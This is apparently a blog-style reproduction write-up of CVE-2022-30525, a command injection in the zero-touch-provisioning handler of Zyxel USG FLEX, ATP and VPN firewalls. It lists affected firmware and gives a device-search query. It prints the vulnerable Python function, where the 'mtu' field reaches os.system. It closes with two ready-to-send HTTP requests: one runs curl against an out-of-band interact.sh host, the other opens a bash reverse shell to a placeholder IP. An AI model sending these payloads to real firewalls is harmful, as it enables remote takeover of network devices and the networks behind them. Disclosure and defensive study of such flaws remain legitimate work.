Zyxel Usg Flex Handler Remote Command Execution Vulnerability Cve 2022 30525
Zyxel Usg Flex Handler Remote Command Execution Vulnerability Cve 2022 30525
Zyxel USG FLEX handler Remote Command Execution Vulnerability CVE-2022-30525
Vulnerability Description
Rapid7 discovered and reported a vulnerability that affected Zyxel firewalls that support Zero Touch Configuration (ZTP), including the ATP series, VPN series, and USG FLEX series (including USG20-VPN and USG20W-VPN).
Vulnerability Impact
USG FLEX 100, 100W, 200, 500, 700 < ZLD5.00 - ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN < ZLD5.10 - ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800 < ZLD5.10 - ZLD5.21 Patch 1
Network surveying and mapping
title=”USG FLEX”
Vulnerability reappears
Login page
The file with the vulnerability is the setWanPortSt method under lib_wan_settings.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
def setWanPortSt(req):
reply = {}
vlan_tagged = ''
logging.info(req)
port = req["port"].strip()
vlanid = req["vlanid"]
proto = req["proto"]
data = req["data"]
vlan_tagged = req["vlan_tagged"]
cmdLine = ''
GUIportst = {}
extname = findextname(port)
#TODO: subprocess method
try:
if vlan_tagged == '1':
if vlanid == '':
vlanid == '0'
if proto == "dhcp":
if 'mtu' not in req:
req['mtu'] = '1500'
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
if "option60" in data:
cmdLine += ' ' + data['option60']
cmdLine += ' >/dev/null 2>&1'
elif proto == "static":
if 'mtu' not in req:
req['mtu'] = '1500'
prefix_length = netmask_to_cidr(data['netmask'])
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 12 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 2 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + data['ipaddr'] + ' ' + str(prefix_length) + ' ' + data['gateway'] + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
cmdLine += ' ' + data['firstDnsServer']
if 'secondDnsServer' in data:
cmdLine += ' ' + data['secondDnsServer']
cmdLine += ' >/dev/null 2>&1'
elif proto == "pppoe":
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 13 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 3 '
#extname = findextname(port)
if 'auth_type' not in data:
data['auth_type'] = 'chap-pap'
if 'mtu' not in req:
req['mtu'] = '1492'
if 'ipaddr' not in data:
data['ipaddr'] = '0.0.0.0'
if 'gateway' not in data:
data['gateway'] = '0.0.0.0'
if 'firstDnsServer' not in data:
data['firstDnsServer'] = '0.0.0.0'
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \
+ ' ' + data['auth_type'] \
+ ' ' + data['ipaddr'] + ' ' + data['gateway'] \
+ ' ' + data['firstDnsServer'] + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
cmdLine += ' >/dev/null 2>&1'
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
fout.write("1");
response = os.system(cmdLine)
logging.info(response)
if response != 256:
logging.info("cmd thread return error")
reply = {"error": 500}
else:
logging.info("cmd success!!")
reply["stdout"] = [{}]
reply["stderr"] =""
with open(WAN_PORT_LAST_CHANGED, "w") as fout:
fout.write(port)
if not os.path.exists(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD):
reply = {"error": 500, "exception": "Cannot find data2cloud folder!"}
with open(ztpinclude.PATH_WAN_MODIFIED_TO_CLOUD + 'local_wan_modified', 'a+') as fout:
fout.write(port + ' ')
except Exception as e:
reply = {"error": 500, "exception": e}
return reply
From the source code, you can see that the spliced parameter is mtu
, and then the os.system
command is executed directly
Verify POC
1
2
3
4
5
POST /ztp/cgi-bin/handler HTTP/1.1
Host:
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl `id`.c9y7h342vtc00002dwxggr9tukwyyyyyj.interact.sh;","data":"hi"}
Rebound Shell
1
2
3
4
5
POST /ztp/cgi-bin/handler HTTP/1.1
Host:
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1';","data":"hi"}
This post is licensed under CC BY 4.0 by the author.